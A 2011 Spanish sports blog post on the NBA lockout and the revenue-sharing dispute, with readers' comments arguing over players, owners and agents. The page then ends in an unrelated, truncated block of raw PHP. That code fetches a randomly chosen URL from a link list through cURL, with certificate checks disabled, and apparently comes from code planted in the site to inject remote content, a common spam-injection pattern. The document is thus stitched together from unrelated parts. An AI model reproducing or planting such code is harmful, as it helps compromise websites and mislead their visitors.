Maldito lockout a 1 de Noviembre

02 de November de 2011 por TheDeerHunter

Hoy toca hablar de lo que no nos gusta. El maldito lockout que ya nos ha robado los primeros duelos de lo que debería haber sido la temporada. Algunos ilusos llegábamos a recuperar optimismo la semana pasada, especulando incluso con una regular completa de 82 partidos. Nada más lejos. Rotura de negociaciones por, según trascendía, una diferencia de apenas 3 puntos porcentuales en el reparto del dichoso B.R.I.

¿Qué narices es el B.R.I. y porqué deberíamos saber de él los que sólo nos interesan los mates de LeBron, los tapones de Howard o las florituras de Kobe?

El “Basketball Related Income” es básicamente la totalidad de los ingresos derivados de la liga. Incluye derechos de retransmisión nacionales e internacionales, venta de entradas,  beneficios por determinados conceptos en los pabellones, promoción y esponsorización de los equipos… De forma aproximada se proyecta que un punto porcentual del reparto puede suponer en torno a 40 millones de dólares. Suena bastante absurdo decir que unos y otros están dispuestos a jugarse la temporada por 120 millones de dólares (lo que ganan entre 4 o 5 jugadores por allí) con todas las consecuencias derivadas que suponen pérdidas mucho mayores a esa cifra de referencia.

Entonces, ¿se ha vuelto loco todo el mundo por allí? Ayer se hacía pública la última carta de Billy Hunter a los jugadores. La podéis consultar íntegramente en el blog de A. Daimiel.

Partiendo de la base que la carta es partidista por definición y, por lo tanto, no podemos considerarla 100% fiable acerca de la situación, nos limitamos a comentarla brevemente intentando no añadir más desinformación pero tratando de extraer alguna luz.

– Define los principios sobre los que tienen la determinación de defender por encima de todo: contratos garantizados, mínimos saludables, máximos justos, una clase media fuerte y un verdadero mercado para los agentes libres.

– Asegura que los jugadores han concedido más que los propietarios en temas como elevar la base del gasto salarial para desarrollar un sistema de impuesto de lujo más punitivo pero luchando por que todos los equipos puedan optar al mercado a la hora de contratar, limitando las penalizaciones adicionales para reincidentes en el impuesto, asegurando que éste no sea demasiado opresivo y manteniendo la mid-level y el sign&trade. No obstante apunta que todos estos asuntos no se consideran principales y que aún deben resolverse ciertos puntos importantes que él llama “del sistema”. Según teníamos entendido era sobre estos “puntos del sistema” donde se habían centrado los acercamientos.

– Según su versión los jugadores llegaron finalmente a ofrecer quedarse en el 52,5% (recordemos que en anterior convenio percibían un 57% y en el otro estaban por debajo del 50%) pero a cambio de ciertos puntos del sistema a su favor. El ultimátum de la NBA era de un 50/50 agravándose con una posición de línea dura en los asuntos que quedaban por tratar, en plan “lo tomas o lo dejas”. Esa es, según él, la gota que provoca que (textualmente) “el Comité Negociador y yo mismo decidimos que no tenía sentido para nuestro colectivo continuar más tiempo con las negociaciones”. Así pues admite que fueron los jugadores los que se levantaron de la mesa.

– Justifica la ruptura en que el BRI no refleja los beneficios generados en su totalidad por la NBA, ya que se pueden obtener cientos de millones en créditos para el gasto antes de compartir beneficios con los jugadores. Cifra este concepto en 543 millones en la 2010-11 y ajusta el porcentaje efectivo hasta un 46.4% según la propuesta de los propietarios. Defiende que supondría 300 millones $ anuales o, lo que es lo mismo, 3 billones en un convenio a 10 años. Es dinero.

Concluye que la oferta del 53% supondría una media de 185 millones $ anuales en recuperación financiera, lo cual, incluso bajo la interpretación más pesimista de los informes económicos de la liga, cubriría las aparentes pérdidas operativas de la liga entera.

Esta es básicamente la información esencial de la misiva. Os toca comentarla.

Comenta

27 comentarios a esta entrada

  1. Txusma dice:
    #1

    Yo ahora debería estar consultando los boxScore para comprobar si Monta Ellis y Al Jefferson han hecho un buen partido…
    Hasta las narices me tienen!

      Citar

  2. HisRoyalAirness dice:
    #2

    La carta es, probablemente, una de las cosas más demagógicas y escritas para estúpidos que he leído en mi vida. Lo único que dice es que los intereses de los jugadores blablabla.

    Para empezar, en el momento en el que se pacta que los actuales contratos se garantizan a los jugadores con contrato multianual vigente les tiene que sudar los coj**es el porcentaje de BRI pactado. No afecta en absoluto su futuro en la liga ni sus emolumentos.
    Los verdaderos afectados con el BRI acatado son los futuros rookies y los agentes libres actuales y los contratos posteriores a la firma y, SOBRE TODO, los agentes de jugadores. El interés es mayoritariamente suyo ya que, ellos no dependen de su longevidad y no tienen una vida deportiva limitada (simplemente cambian de representados y ya está); lo que sí les preocupa es la media de contrato que perciban el total de sus representados.

    Teniendo en cuenta que las pérdidas de cada punto porcentual del BRI suponen X millones menos falta ver cuántos de esos millones los propietarios dejan de destinar a los contratos de sus jugadores, es decir, falta ver lo que el ajuste afecta de forma REAL a sus sueldos. Un jugador que con el convenio actual podría percibir 7.000.000 anuales (por ejemplo), si firmase ese mismo contrato en 3 años puede ser que lo firmase por 6.500.000 (tirando por lo alto) lo cual si le planteas así y es un jugador en activo y no uno tipo mercenario aceptaría aún perdiendo dicha cantidad.
    Que un jugador pierda, en un futuro contrato, un porcentaje mínimo del total es algo insignificante comparado con lo que perdería un representate con 15 clientes; es lo de siempre, no es lo mismo el 3 % de 10 que el 3% de 150.

    Hay unas declaraciones bastante recientes de Shaq al respecto bastante reveladoras, en las que dice que los representantes están utilizando a los jugadores como baza para no perder un dinero que a los jugadores les resultaría insignificante (ya sé que no es el tipo más indicado para hablar del tema pero no por eso deja de tener razón).

    Ya me he desahogado, que estoy hasta los huevos de estar sin basket

      Citar

  3. laker16 dice:
    #3

    A mi lo que realmente me sabe mal de este tema es que ahora mismo hay gente sin trabajo y que realmente lo necesita por culpa de el dichoso lockout. Honestamente no me da ninguna pena que a los “pobres” jugadores quieran reducirles el porcentaje que obtienen de los beneficios que produce la liga ni nada de esta situacion. Y aun asi tienen la cara de tuitear que les sabe mal por la gente de los pabellones que no puede trabajar, me parece vergonzoso.

      Citar

  4. Txusma dice:
    #4

    Yo reparto las culpas a partes iguales, tanto a jugadores como a propietarios. Es curioso pero parece que nadie da leña a estos últimos por el blog. En EEUU la cosa parece más pareja.

      Citar

  5. Sancho88 dice:
    #5

    Entonces, por qué no se desmarcan los jugadores del sindicato y negocian por libre -como ya apuntasteis vosotros por aquí- sin que medien los representantes? puede ser, como bien decís vosotros, que el problema no sean esos dos puntos porcentuales, sino los intereses de estos intermediarios. no obstante, todos sabemos de qué va este espectáculo, y sin toda la parafernalia los jugadores por si solos no completarían todo el circo mediático de la competición… Veremos que pasa, pero está complicada la cosa. Supongo que al final acabarán cediendo los clubes, de hecho, muchos apuntan que los ultimatums de Stern son los últimos latigazos para ver si puede rebajar las pretensiones de los jugadores. pero tal y como están las franquicias, en la p…ta ruina, supongo que al final cederán ellos sin alcanzar todo lo que quieren. no les queda otra. pero sí, las madrugadas y los desayunos mañaneros viendo resúmenes y boxscores se van a exar mucho de menos, por lo menos hasta diciembre

      Citar

  6. HisRoyalAirness dice:
    #6

    Pues Txus, yo estoy con los propietarios (más bien contra los jugadores) por un sencilla razón: ellos no ocultan que quieren más beneficios; es SU negocio y tienen que hacerlo lo más rentable posible. Punto.
    Los jugadores están mareando la perdiz diciendo que no les dejan jugar, que les están bloqueando, que I love this game, que let us play. Que se dejen de gaitas porque el anterior convenio fue una bajada de pantalones escandalosa por parte de los propietarios.

    Dicho esto, no hay nada más equitativo en esta vida que un 50 por ciento, así que es una petición que me parece justa.

      Citar

  7. Txusma dice:
    #7

    El 50% no tiene pq ser siempre justo. En este caso, creo q los jugadores son mucho más imprescindibles que los propietarios. De hecho, la culpa de esta situación la tiene la propia liga al permitir que haya hasta 30 franquicias. Es casi imposible que todas puedan ganar y más en un país con 4 ligas muy, muy fuertes.

      Citar

  8. TheDeerHunter dice:
    #8

    Yo sí creo que la culpa es de ambos.
    A mí un reparto de 3 billones de dólares no me parece una cuestión baladí. Desconozco hasta que punto esa cifra es exacta, pero lo que plantea Billy Hunter es que un 50% en el BRI no es un 50% real… y que la diferencia puede suponer esos 3 billones a 10 años.
    Recordemos que los jugadores ya han renunciado a priori a en torno un 5%… así que si hablamos de justicias, creo que en una negociación tiene más o menos que llegarse a un punto intermedio del que se partía. Billy Hunter se queja de que eso no es así y por lo que parece por las cifras que se manejan no puede andar del todo desencaminado.
    Al fin y al cabo quien realmente genera el negocio son los artistas, no los que ponen el escenario… pues el juego podría llevarse a otro escenario propiedad de otros, pero no existen otros artistas mejores que estos.

      Citar

  9. infante dice:
    #9

    a mi parecer (y seguro que me equivoco en todo lo que diga), la unica consecuencia de todo esto es la imposibilidad de rescindir un contrato a un jugador en vistas de su rendimiento. Como bien comentaba uno de vosotros (el alzheimer hace estragos en mi) en un post pasado, en cualquiera de las otras ligas estadounidenses se tiene la posibilidad de rescindir contrato en el caso de que el rendimiento no sea el adecuado. Por tanto, los propietarios deberían luchar por ese tipo de clausulas, que seguramente a largo plazo supondran mas dinero que uno o dos puntos porcentuales, que es a lo que andan a gaitas ahora.

      Citar

  10. Txusma dice:
    #10

    Yo tb estoy de acuerdo en que debería haber algún tipo de mecanismo que te permitiera rescindir un contrato en determinadas circunstancias pero no lo veo de fácil aplicación. Seguro que si nos ponemos a pensar nos vienen a la cabeza 3 jugadores a los que cuales todos hubiéramos rescindido el contrato: Eddie Curry, Gilbert Arenas y Rashard Lewis. Pero analicémonos un poco más detenidamente.
    El caso de Arenas es mala suerte pq se lesionó de grave y se pasó 2 temporadas en blanco. Una rescisión unilateral del contrato suena bastante fuerte pq esto podría dejar a muchos lesionados de larga duración en la estacada. Se me ocurre que lo que se podría hacer es que los equipos solo pagaran la mitad del salario a los lesionados de larga duración mientras dure la lesión.
    El caso de Rashard Lewis. Su contrato está muy por encima de su producción actual pero quién decide cual es la producción q ha de conseguir un jugador con un contrato determinado? Los Magic apostaron fuerte y la cagaron. Se lo hemos de perdonar? Esta clase de rescisiones sobre se podrían hacer con una norma del tipo “Cada año, cada equipo podrá rescindir un contrato”. Mucho poder en manos de los propietarios creo yo.
    Caso Eddie Curry. Si hay un contrato que se tenga que poder rescindir es este. Contrato caro, jugador poco profesional… En cualquier empresa Curry estaría en la calle, pero como digo es complicado marcar los mínimos que ha de conseguir el jugador.

    Y por otro lado, no nos olvidemos del caso contrario: jugadores que cobran mucho menos de lo que deberían por culpa de las escalas salariales. Cuanto cobraría Derrick Rose en un mercado libre desde el primer año? Y Durant? Y Lebron James?

      Citar

  11. HisRoyalAirness dice:
    #11

    Es cierto que las grandes estrellas se harían de oro en un mercado libre desde primer año pero claro, así le quitas la gracia al draft y haces que la lógica de ir subiendo salarios progresivamente (a ver lo que pasa con muchos rookies si les ponen 10 kilos en la manito desde los 20 años) según la “madurez” del jugador.
    Creo que todo pasa por establecer un contrato de duración máxima de 3 años. Si la cagas? es un error relativamente efímero

      Citar

  12. Txusma dice:
    #12

    De hecho, creo que es una de los acuerdos que se han alcanzado. Los contratos serán más cortos. No creo que veamos más contratos mastodónticos de 6 años.

      Citar

  13. infante dice:
    #13

    a ver, por partes:

    Los contratos del draft estan asi establecidos para que los equipos teoricamente mas potentes no puedan hacerse con las futuras estrellas, y a la vez para “equilibrar” a corto-medio plazo la liga, asi que son totalmente comprensibles y respetables. Txusma, lo que tu dices sobre Rose, Lebron y Durant; resulta que ahi hay dos picks 1 y un pick 2, que de partida recibieron 5 milones al año contantes y sonantes, que ya es pasta.

    Sobre los casos que tu comentas, lo que deberian luchar los empleados son por contratos mas bajos, pero que tuvieran algun tipo de clausulas, como por ejemplo “si das mas de 6 asistencias por partido un x% mas, si existe alguna conducta exterior que sea negativa (Arenas, Crittenton, Ellis, etc,) un y% menos”. Asi, cada jugador sabe que el dinero por el que teoricamente firma puede fluctuar segun su comportamiento.

    Y ademas, que se me olvido comentarlo en el otro comentario, en el caso de que hubiera rescisiones de contrato en caso de indisciplinas, te asegurarias de tener un puñado de jugadores “no mercenarios” que se dejaran los huevos en la cancha (esto es un poquito inpensable XD) o que por lo menos se adapten mas a la filosofia de trabajo: si no respondo, rescision, finiquito y a la calle. De esta forma, los pabellones se llenarian, y habria mucho mas espectaculo en juego; y los GMs conseguirian mas beneficios. Ese es mi punto de vista.

    Bueno, creo que es una vision un poquito europea, en plan deporte y no en plan espectaculo, pero me parece lo mas correcto.

      Citar

  14. Txusma dice:
    #14

    Bueno, creo que Monta Ellis dejó de percibir todo un año de contrato así que eso tipo de cláusulas ya existen en la NBA. Lo q no veo mal es la posibilidad de añadir variables a los contratos como por ejemplo se hace en el futbol europeo. En la NBA todo es muy rígido y eso tiene sus cosas buenas y sus cosas malas.

    Sobre los contratos del draft. Mi comentario venía pq por un lado los Wizards tenían a Arenas cobrando 17 kilos y por el otro a Wall cobrando 5 y a McGee 2… Tanto Wall como McGee se merecían bastante más de esos 7 kilos q cobran entre los 2. Lo uno por lo otro, no?

    Como he dicho antes, si la mitad de la franquicia tiene pérdidas a lo mejor tb es pq hay demasiadas franquicias. No creo que la culpa principal sean los salarios de los jugadores.

      Citar

  15. max dice:
    #15

    Según mi punto de vista, si la mitad de las franquicias tiene pérdidas el modelo actual es inviable. No es posible un negocio donde la mitad de los propietarios pierdan dinero. A partir de ahí, o se reduce el número de franquicias tal como apunta Txusma y se dejan las más rentables, o si se sigue como hasta ahora y se equilibra las ganancias de los jugadores con las ganancias de los propietarios de manera que nadie pierda y todos ganen. Eso implica que algunos ganen menos (los jugadores) y otros más. No puede ser que un jugador franquicia de un equipo perdedor gane 15Millones al año durante 4 años (por ejemplo) y el equipo acabe cada año con pérdidas económicas. El salario tendria que ir en función de la pasta que se genera.
    O sea, si un gran jugador en vez de ganar 20M al año gana 17 y un jugador mediano gana 6M en vez de 9M, continua siendo muchisimo dinero, una burrada de dinero.

      Citar

  16. Esteban dice:
    #16

    creo q la admistia s un fraude, durante temporadas mis pacers sufrieron sus largos y malos contratos, enteros quedando fuera de play offs, y ahora resulta q por un convenio cualquiera puede terminar un contrato?

    ya tenia internalizado q si la cagas con un contrato en la NBA la cagas de verdad, no parece ser tan cierto

    por otro lado, puede haber varios beneficiados indirectos por los cortes

    el heat, q no tiene ni un centavo en el tope, por hacer las cosas mal la temporada pasada, ahora podria contar a miller, mas su excepcion de nivel medio, tiene como 10 millones de espacio
    sin contar q podrian incorporar a baron davis GRATIS practicamente, incluso a OKUR por lo mismo

    creo q el beneficio que podria sacar el heat de esto puede ser enorme

    el otro q se beneficiaria mucho, son los lakers, q no tienen espacio para moverse tampoco y estan atados al contrato de artest, ahora podrian cortar a artest y sumar por ejemplo a MARVIN WILLIAMS por poco dinero,

    sin dudas la anmistia beneficia a aquellos equipos grandes q hoy por hoy quieren pelear un titulo

    los pacers han trabajo durante años para tener el espacio q gozan hoy, han comido contratos y contratos y resulta q si washinton corta a lewis tendra mas especio q los pacers y no sufririan las consecuencias de firmar la locura q le firmaron a arenas

    NO ME PARECE JUSTO

      Citar

  17. Denise dice:
    #17

    La culpa es claramente de los caraduras de los jugadores, los cuales el que menos gana 500.000 dólares, cifra con la cual, cualquier mortal sobreviviría más de 20 años sabiendo administrar bien el dinero, pero claro, los jugadores dirán…¿ y de dónde sacamos el dinero para las mansiones, los coches de lujo, las drogas y las prostitutas?

    Y tiene narices, que el lider de todo esta patraña sea un tal Derek Fisher, el cual siempre me pareció un jugador centrado y no un cuentista.

    Ojalá los propietarios tengan todavía mas pérdidas economicas y se llegue a un punto donde sea inviable que un jugador cobre mas de 5 millones al año.

      Citar

  18. Nacho dice:
    #18

    Las 20 00, iba a ver el BarÇa Bilbao, pero mi hija quiere ver Art Attack. Gana ella. Luego mis colegas se extrañan cuando me levanto a las 03 00 a ver baloncesto, que encima es infinítamente más divertido que el fútbol. ¡Es (era) la única hora que podía ver algo en la tele solo y tranquilo!
    Me la sudan los porcentajes, que empiecen ya.
    Eso sí, estoy más cerca de os propietarios (más que nada por estar más lejos de los jugadores)
    Si a los jugadores no les mola el reparto (cobrando la pasada que cobran) que se hagan su propia liga. Eso sí, en años (pocos) se darían cuenta de que siendo propietarios tendrán que pagar todo lo que les rodea, e intentarán bajar los sueldos de los nuevos jugadores ¿Michael Jordan?
    En fin, que empiece como sea.

      Citar

  19. Txusma dice:
    #19

    Yo sigo repitiendo que pago por ver a Nowitzki, no a Cuban. No hay ninguna posibilidad de que las franquicias que tienen pérdidas sea por que están mal gestionadas? Es que parece que toda la culpa de las pérdidas sea únicamente del salario de los jugadores….

      Citar

  20. Rompe dice:
    #20

    Cada uno debe cobrar por lo que genera, tanto deportivamente como fuera de la cancha (marketing y demás). Ni más ni menos. Si una franquicia tiene pérdidas, está claro que está sobrepagando su equipo (jugadores, staff técnico, pabellón, etc.). Los jugadores son los que más cobran, pero no son los únicos. Habrá que mirarlo todo con lupa.
    En cambio, un equipo como los Lakers donde se gana dinero, no es justo que se recorten gastos. Al fin y al cabo, generan más de lo que ganan.

    Vamos, que es todo muy complicado jeje. Pero sí que es verdad que si la mayoría de los equipos tienen pérdidas, habrá que revisar los salarios a la baja… Ahora, bajarlo tanto? Igual no debería ser tan drástico. Al fin y al cabo muchas franquicias pierden dinero porque ha bajado todo en general, pero algunas de ellas lo hacen por su mala gestión, y por ellas no deben pagar los platos rotos el resto.

    Que el negocio ha bajado tanto como para reducir el BRI del 57 al 47%? Pues no lo creo…

      Citar

  21. German dice:
    #21

    Los propietarios subieron la oferta a un 51% hasta el miercoles. A partir de ese dia la bajan a un 47%. Los jugadores respondieron que es “inadmisible” que les hagan un ultimatum. Esto esta mas oscuro que nunca, si no arreglan el miercoles, cosa poco probable, menos se pondran de acuerdo con la rebaja al 47…

    Me parece que nos quedaremos sin liga hasta Febrero con suerte y realmente creo que hay altas chances de que se cancele por completo

      Citar

  22. Txusma dice:
    #22

    Yo creo que si no aceptan la oferta el miércoles nos quedamos sin liga para todo el año. Los jugadores no aceptarán la oferta del 47% y disolverán el sindicato… Muy mala cosa.
    Y a todo esto, creo que los agentes, como apuntaba alguien anteriormente, son los principales culpables de la situación. De hecho, por un lado parece que hay un buen número de jugadores que quieren firmar, otros que no quieren y luego todos los agentes amenazando con la disolución… Emoción hasta el último segundo

      Citar

  23. HisRoyalAirness dice:
    #23

    Lo de los agentes lo dije yo, que son unos chupasangres y los menos perjudicados por la cancelación puntual de partidos (a equipos y jugadores les afecta mucho) y los más afectados por la reducciòn en el BRI.

    Yo creo que llegan a un acuerdo, tengo mucha fé porque todos quieren que se juegue, por unos intereses o por otros.
    Pero vamos, que mi primera predicción me la comí con patatas.

      Citar

  24. Denise dice:
    #24

    Yo lo que espero es que los paquetes, que al fin y al cabo son los que menos cobran y por tanto los mas perjudicados, acaben publicamente sublevandose ante la farsa liderada por Derek Fisher.
    A todos los jugadores que apoyan la huelga se les debería de caer la cara a trozos de verguenza, especialmente a todas esas estrellitas.
    Un pico y una pala para todos.
    Sinceramente, prefiero que no haya NBA, y que al menos la Euroliga se beneficie de ello, a que los jugadores se salgan con la suya y los propietarios se abajen los pantalones.

      Citar

  25. Txusma dice:
    #25

    De momento los jugadores ya han dicho q aceptarían un 50-50 si los propietarios ceden en otros temas relacionados con el impuesto de lujo. Venimos de un 57-43. Sinceramente, yo si veo a alguien q se está bajando los pantalones son los jugadores. De momento, son los que pierden.

      Citar

  26. Txusma dice:
    #26

    Volviendo al tema (aunque la verdad ando un poco cansado ya) todo queda en manos de los jugadores. Han de votar la propuesta de la NBA. Si votan ‘sí’ habrá temporada, si votan ‘no’ ya nos podemos olvidar. Lo que parece claro es que han sido los jugadores los que han cedido en casi todos los aspectos. A los propietarios no les importaba quedarse un año sin NBA… Ahí lo dejo.

      Citar

  27. HeiNeKeN dice:
    #27

    Mientras tanto, Nicolas Batum mandando en Europa….

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>